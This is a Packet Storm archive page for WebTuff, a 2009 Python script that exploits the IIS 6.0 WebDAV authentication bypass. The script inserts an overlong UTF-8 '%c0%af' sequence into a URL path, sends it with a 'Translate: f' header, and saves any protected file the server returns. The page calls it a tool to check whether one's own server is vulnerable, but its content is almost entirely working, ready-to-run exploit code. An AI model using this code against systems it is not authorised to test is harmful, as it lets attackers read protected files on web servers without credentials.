exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WebTuff IIS 6.0 WebDAV Authentication Bypass

WebTuff IIS 6.0 WebDAV Authentication Bypass
Posted May 27, 2009
Authored by Raviv Raz

WebTuff is a tool to test for the IIS 6.0 WebDAV authentication bypass vulnerability.

tags | exploit, bypass
SHA-256 | 962b69de61490a46ff34f5d84021349fb8293ca003948bee1457d57d305ba85d

WebTuff IIS 6.0 WebDAV Authentication Bypass

Change Mirror Download
"""
WebTuff v1.0
Copyright 2009, Raviv Raz - ravivr@gmail.com
WebTuff is distributed under the terms of the GNU General Public License
WebTuff is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

"""
from sys import argv
from urlparse import urlparse
from cStringIO import StringIO
import httplib
headers = {"Translate":"f","Connection":"close"}
def usage():
print ""
print "Copyright 2009, Raviv Raz - ravivr@gmail.com"
print "WebTuff is a testing utility that verifies"
print "whether your IIS server is vulnerable to"
print "Microsoft IIS 6.0\nWebDAV Remote Authentication Bypass"
print "In a successful breach, WebTuff saves the"
print "remote resource locally under the same name"
print "\nUsage: %s <url to web directory>\nFor example: %s http://www.victim.com/path/to/file.txt"%(argv[0],argv[0])
raw_input()
raise SystemExit

def obfuscate(url):
path = urlparse(url)[2]
obfuscated = path[0:len(path)/2]+"%c0%af"+path[len(path)/2:]
newUrl = url.replace(path,obfuscated)
return newUrl

def main():
try:
originalUrl = str(argv[1])
hostname = urlparse(originalUrl)[1]
filename = originalUrl[originalUrl.rfind("/")+1:]
except:
usage()
obUrl = obfuscate(originalUrl)
print "[!] Attempting to connect to: %s"%originalUrl
try:
conn = httplib.HTTPConnection(hostname)
conn.request( "GET", urlparse(originalUrl)[2],None,headers )
response = conn.getresponse()
if response.status == 404:
print "[x] Resource was not found on the server."
elif response.status == 401:
print "[x] Request denied by IIS authentication. Good."
elif response.status == 200:
print "[v] Resource was retrieved without any authentication! You must apply ACL to web folders."
print "[!] Proceeding with URL obfuscation:",obUrl
conn = httplib.HTTPConnection(hostname)
conn.request( "GET", urlparse(obUrl)[2],None,headers )
response = conn.getresponse()
if response.status == 404:
print "[x] Resource was not found on the server."
elif response.status == 401:
print "[x] Request still denied by IIS authentication. You are protected against this attack."
elif response.status == 200:
print "[v] URL Obfuscation attack succeeded! You must apply security to IIS immediately."
print "[v] The contents of this resource have been saved into: %s\n"%filename
data = StringIO(response.read())
output = open(filename,"wb")
output.write(data.read())
output.close()
except:
print "[x] Connection failed. Breaking connection"
conn.close()
raise SystemExit

if __name__ == "__main__":
main()

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close